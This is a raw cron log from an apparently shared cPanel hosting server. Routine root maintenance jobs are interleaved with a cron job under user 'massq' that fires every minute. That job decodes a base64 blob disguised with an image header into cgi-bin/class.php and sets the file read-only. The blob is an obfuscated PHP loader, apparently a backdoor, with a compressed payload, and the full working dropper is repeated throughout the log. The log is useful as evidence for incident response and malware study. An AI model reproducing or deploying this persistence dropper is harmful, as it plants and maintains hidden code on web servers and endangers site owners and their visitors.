Sep  2 14:08:01 server CROND[7875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:08:01 server CROND[7876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:09:01 server CROND[8261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:09:01 server CROND[8265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:09:01 server CROND[8264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:09:01 server CROND[8263]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 14:10:01 server CROND[8651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:10:01 server CROND[8652]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:10:01 server CROND[8656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:10:01 server CROND[8655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:10:01 server CROND[8654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:10:01 server CROND[8661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:10:01 server CROND[8657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:10:01 server CROND[8659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:11:01 server CROND[9501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:11:01 server CROND[9502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:11:01 server CROND[9503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:12:01 server CROND[10079]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:12:01 server CROND[10080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:12:01 server CROND[10081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:12:01 server CROND[10082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:13:02 server CROND[10479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:13:02 server CROND[10480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:13:02 server CROND[10481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:14:01 server CROND[10858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:14:01 server CROND[10859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:14:01 server CROND[10860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:15:01 server CROND[11260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:15:01 server CROND[11261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:15:01 server CROND[11263]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:15:01 server CROND[11264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:15:01 server CROND[11267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:15:01 server CROND[11272]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 14:15:01 server CROND[11268]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:15:01 server CROND[11270]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 14:15:01 server CROND[11269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:16:01 server CROND[12246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:16:01 server CROND[12247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:16:01 server CROND[12248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:17:01 server CROND[12752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:17:01 server CROND[12753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:17:01 server CROND[12754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:18:01 server CROND[13139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:18:01 server CROND[13140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:18:01 server CROND[13141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:19:01 server CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:19:01 server CROND[13551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:19:01 server CROND[13552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:20:01 server CROND[13970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:20:01 server CROND[13971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:20:01 server CROND[13975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
